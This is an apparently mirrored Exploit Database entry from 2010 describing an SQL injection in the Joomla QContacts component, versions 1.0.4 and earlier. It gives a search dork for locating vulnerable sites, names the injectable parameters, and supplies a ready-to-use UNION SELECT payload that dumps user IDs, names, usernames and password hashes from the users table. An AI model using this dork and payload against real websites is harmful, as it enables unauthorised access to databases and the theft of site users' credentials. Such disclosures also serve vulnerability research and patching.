Joomla! Component com_qcontacts – SQL Injection

• Exploit Database
• 108 阅读

• 作者： _mlk_
  日期： 2010-07-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14350/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83

  # Exploit Title: Joomla Component QContacts (com_qcontacts) - SQL Injection Vulnerability # Date: 12, July 2010   # Author:_mlk_ # Software Link: http://bugsec.googlecode.com/files/Joomla_com_qcontacts.zip # Version: 1.0.4 and previous # Tested on: all OS   # CVE : 0   # Code : here   Joomla Component QContacts (com_qcontacts) - SQL Injection Vulnerability   #################################################################################################################     [+] Discovered by : _mlk_ (Renan)   [+] Teams : c00kies , BugSec , BotecoUnix & c0d3rs   [+] Homepages :http://code.google.com/p/bugsec/ http://botecounix.com.br/blog/ http://c0d3rs.wordpress.com/   [+] Location : Porto Alegre - RS, Brasil (or Brazil)   #################################################################################################################     [-] Information   [?] Script : QContacts   [?] FAQ : http://www.latenight-coding.com/joomla-addons/qcontacts.html   [?] Versions Tested: 1.0.4 and previous   [?] Dork/String :"index.php?option=com_qcontacts" / "com_qcontacts"   [?] Date :12, July 2010     -----------------------------------------------------------------------------------------------------------------     [*] Parameters vuls :   Itemid id catid     -----------------------------------------------------------------------------------------------------------------     [*] Example :   http://localhost/index.php?option=com_qcontacts&Itemid=1 [SQL-Inject] http://localhost/[PATH]/index.php?option=com_qcontacts&Itemid=1 [SQL-Inject]     -----------------------------------------------------------------------------------------------------------------     [*] Demo :   http://<server>/path/index.php?option=com_qcontacts&view=contact&id=1&Itemid=-541 +union+select+concat(id,0x3a,name,0x3a,username,0x3a,password)+from+cms01_users--     #################################################################################################################     [~] Agradecimentos :   Deus , Familiares , Amigos e Tricolor Gaúcho (Grêmio) . Em especial "i4k" ( alien \o/ ) .     #################################################################################################################